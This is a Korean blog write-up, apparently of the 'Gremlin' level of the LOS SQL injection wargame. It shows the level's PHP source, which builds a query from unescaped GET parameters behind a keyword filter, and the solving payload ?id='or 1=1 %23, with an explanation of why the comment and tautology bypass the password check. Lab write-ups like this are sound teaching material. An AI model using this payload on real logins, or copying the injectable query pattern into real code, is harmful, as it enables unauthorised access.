vared
vared - Blog
vared
전체 방문자
오늘
어제
  • 분류 전체보기 (138)
    • Study (0)
    • Project (0)
    • Paper Review (0)
    • Tool (0)
    • WriteUp (124)
      • Root-me.org (44)
      • LOS_rubiya (32)
      • Webhacking.kr (21)
      • DreamHack (9)
      • XCZ.kr (8)
      • HackCTF (10)
    • Miscellaneous (0)
    • Forensic-CheatSheet (10)

블로그 메뉴

  • Category

공지사항

  • Forensic-CheatSheet 오픈

인기 글

태그

  • Digital Forensic
  • webhacking.kr
  • sql injection
  • File Execution
  • ssd
  • trim
  • forensic-cheatsheet
  • iconcahce
  • forensic artifacts
  • shellbag forensics
  • Thumbcache
  • LNK FIile
  • digital-forensics
  • shellbag
  • Windows Artifact
  • Los
  • JavaScript
  • Artifacts
  • Digital-Forensic

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
vared
WriteUp/LOS_rubiya

LOS - rubiya : Gremlin

WriteUp/LOS_rubiya

LOS - rubiya : Gremlin

2020. 5. 7. 19:02

<코드 분석>

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

필터링 항목 : id, pw 에 "prob" "_" "." "()" 사용 불가능. -> No Hack ~_~

result query 에 id 값이 존재하면 된다.


<해설>

?id='or 1=1 %23

-> id= 공백 or "참" 이기 때문에, query 가 의미하는 것은 "Select id from prob_gremlin" 과 같은 의미이다. 

-> %23는 #으로, 한줄 주석을 의미한다.  $_GET['id'] 이후의 query 를 주석으로 만들어서 무의미하게 작용하게 하기 위해 써주는 것이다.

저작자표시 (새창열림)

'WriteUp > LOS_rubiya' 카테고리의 다른 글

LOS -rubiya : Wolfman  (0) 2020.05.13
LOS -rubiya : Wolfman  (0) 2020.05.13
LOS -rubiya : Orc  (0) 2020.05.08
LOS - rubiya : Goblin  (0) 2020.05.07
LOS -rubiya : Cobolt  (0) 2020.05.07
    'WriteUp/LOS_rubiya' 카테고리의 다른 글
    • LOS -rubiya : Wolfman
    • LOS -rubiya : Orc
    • LOS - rubiya : Goblin
    • LOS -rubiya : Cobolt
    vared
    vared

    티스토리툴바

    단축키

    내 블로그

    내 블로그 - 관리자 홈 전환
    Q
    Q
    새 글 쓰기
    W
    W

    블로그 게시글

    글 수정 (권한 있는 경우)
    E
    E
    댓글 영역으로 이동
    C
    C

    모든 영역

    이 페이지의 URL 복사
    S
    S
    맨 위로 이동
    T
    T
    티스토리 홈 이동
    H
    H
    단축키 안내
    Shift + /
    ⇧ + /

    * 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.